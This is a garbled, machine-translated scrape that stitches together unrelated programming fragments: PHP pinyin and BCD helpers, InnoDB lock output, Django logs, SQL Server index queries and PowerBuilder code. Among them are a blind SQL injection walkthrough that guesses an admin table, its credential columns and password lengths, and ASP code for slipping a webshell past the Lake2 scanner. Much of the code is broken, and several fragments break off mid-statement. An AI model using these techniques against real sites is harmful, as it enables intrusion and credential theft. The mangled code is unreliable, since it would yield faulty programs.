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PHPHeader("Content-type:text/html;charset=utf-8");functionGetfirstchar ($s 0){$firstchar _ord=Ord(Strtoupper($s 0{0}));if(($firstchar _ord>=65 and$firstchar _ord$firstchar _ord>=48 and$firstchar _ordreturn $s 0{0};$s=Iconv("UTF-8", "gb2312",$s 0);$ASC=Ord($s{0}) *256+Ord($s{1}) -65536;if($ASC>=-20319 and$ASCreturnA;if($ASC>=-20283 and$ASCreturnB;if($

12PHP3 functionGetfirstchar ($s 0){4 $fchar=Ord($s 0{0});5 if($fchar>=Ord("A") and$fcharOrd("Z"))return Strtoupper($s 0{0});6 $s 1=$s 0;7 $s 2=$s 1;8 //$s 1 = iconv ("UTF-8", "gb2312", $s 0);9 //$s 2 = iconv ("gb2312", "UTF-8", $s 1);Ten if($s 2==$s 0){$s=$s 1;}Else{$s=$s 0;} One $ASC=Ord($s{0}) * 256 +Ord($s{1})-65536; A if($ASC>= -20319 and$ASCreturnA; - if($

//php get Chinese characters Pinyin first letterfunctionGetfirstcharter ($str){ if(Empty($str)){ return‘‘; } $fchar=Ord($str{0}); if($fchar>=Ord(' A ') $fcharOrd(' Z ')){ return Strtoupper($str{0}); } $s 1=Iconv(' UTF-8 ', ' gb2312 ',$str); $s 2=Iconv(' gb2312 ', ' UTF-8 ',$s 1); $s=$s 2==$str?$s 1:$str; $ASC=Ord($s{0}) *256+Ord($s{1}) -65536; if($ASC>=-20319$ASCreturnA; if($

Usage scenarios: When filtering the area, we often see that the English alphabet is used to filter the location, initially thinking that the data table is stored on the region and the first letter association, but it is too troublesome, and then think about the region by the name to obtain the first letter, and then to group the region, thus using the following method:functionGetfirstcharter ($str) { if(Empty($str)) { return‘‘; } $fchar=Ord($str{0}); if($fchar>=Ord(' A ') $fcharOrd(

bits, index ' PRIMARY ' of table ' mytest '. ' T4 ' Trx ID 270881 lock_mode X locks Rec but Not gap Recordlock, heap No 2 physical record:n_fields 4; Compact format; Info bits 0 0:len 4; Hex 80000001; ASC;; 1:len 6; Hex 00000004221c; ASC ";; 2:len 7; Hex 9a000001530110; ASC S;; 3:len 4; Hex 80000001; ASC;; TABLE lock

guessed (admin exists if the table is normal, and admin exists if the table is abnormal) And exists (select * from admin) If the returned result is correct and admin exists, we can enter one. The returned error does not exist. Now let's guess the fieldAnd exists (select username from admin) And exists (select password from admin) No error indicates that both fields do not exist. Guess the username and password length And (select top 1 len (username) from admin)> 0And (select top 1 len (password

In the following code, how to filter html such as htmlentities () is to filter the keyword, that is, to filter out the html code from the search content entered by the user If you have trouble, give the code directly. The younger brother doesn't know much about php. thank you. Public function search () {global $ _ FANWE; $ page_args = array ('City _ PY' => CURRENT_CITY_PY, 'sort '=> trim ($ _ FANWE ['request'] ['sort']), 'keyword' => trim ($ _ FANWE ['request'] ['keyword']),); $ keyword = '';

Phpbcd code compression-compress decimal numbers into hexadecimal data. Next, let's take a look at the example about how to compress the phpbcd code to compress the decimal number into the hexadecimal data. I hope this article will help you. For example, compress the phpbcd code-let's take a look at the following section with regard to php bcd code compression-compress the decimal number to the hexadecimal data instance, I hope the article will help you. For example, compress the php bcd code-co

For example, compress the php bcd code-compress the decimal number to the hexadecimal data. The code is as follows:Copy code /*Php bcd code compression-compress decimal numbers into hexadecimal dataFor example, 0x00 0x91 after 0091 compression*/$ String = '000000 ';$ Bytes = Bytes: getBytes ($ string );Print_r ($ bytes );/*Array( [0] => 48 [1] => 48 [2] => 57 [3] => 49) */$ Asc = Bytes: AscToHex ($ bytes, 4 );// 4-bit compression into 2-b

Hanxiaolian To avoid lake2 ASP Webmaster Admin Assistant and write. A. Bypassing the Lake2 ASP Trojan scan Pony Copy Code code as follows: Set C = CreateObject ("ADOX.") Catalog ") C.create ("Provider=Microsoft.Jet.OLEDB.4.0;Data source=" server.mappath ("a.asp")) Set c = Nothing Cserver.mappath ("a.asp") Set Conn=server.createobject ("Adodb.connection") Conn.Open ConnStr Conn.execute ("CREATE Table Nomm (Nomuma oleobject)") Set Rs=server.createobject ("Adodb.recordset") Sql

Below we together to see and an article about PHP BCD code compression-The decimal number compressed into hexadecimal data instances, I hope that the article to help you students oh. Example, PHP BCD compression-Compress decimal numbers into hexadecimal data The code is as follows Copy Code /*PHP BCD compression-Compress decimal numbers into hexadecimal dataFor example 0091 after compression 0x00 0x91*/$string = ' 0091 ';$bytes = Bytes::getbytes ($string);Print_r

, and observe sql:Select "Django_migrations". " App "," Django_migrations "." Name "from" Django_migrations "() Operations to perform:synchronize unmigrated apps:mptt Apply all migrations:admin, C Ore, ContentTypes, auth, sessionssynchronizing apps without migrations:creating tables ... Installing Custom SQL ... Installing indexes ... Running migrations:no migrations to apply. Select "Django_content_type". " ID "," django_content_type "." Name "," Django_content_type "." App_label "," Django_c

I.is_unique_constraint = 0and O.name= ' testtable '--the name of the table to be looked upORDER by (Dm_ius.user_seeks + Dm_ius.user_scans + dm_ius.user_lookups) ASC--View missing indexes on tables in database and generate indexed statementsSELECT t4.name,t1. [statement],t1.object_id, T2.user_seeks, T2.user_scans,T1.equality_columns, T1.inequality_columns,t1.included_columns,Case--when t1.equality_columns is null and CHARINDEX (', ', T1.inequality_col

(as_filename, streammode !)If li_file =-1 then return 0 // Read the fileLi_dataread = fileread (li_file, lb_data)If li_dataread Fileclose (li_file)Return 0End if // Currently, there are two main types of GIF// 1. It is identified as gif87a and is only used to store a single static image.// 2. Marked as gif89a. Several static images can be stored at the same time to form continuous animation.// The first 6 bytes of the file are marked as: gif87a or gif89a, and the 7 or 8 bytes are the image widt

index ' PRIMARY ' of table ' Test/iz ' Trx ID 0 42313619 lock_mode X Locks Rec but not gap waiting13. Record Lock, Heap No 5 physical record:n_fields 4; Compact format; Info bits 014. 0:len 4; Hex 80000002; ASC;; 1:len 6; Hex 00000285a78f; ASC;; 2:len 7; Hex 00000040150110; ASC @;; 3:len 10; Hex 61202020202020202020; ASC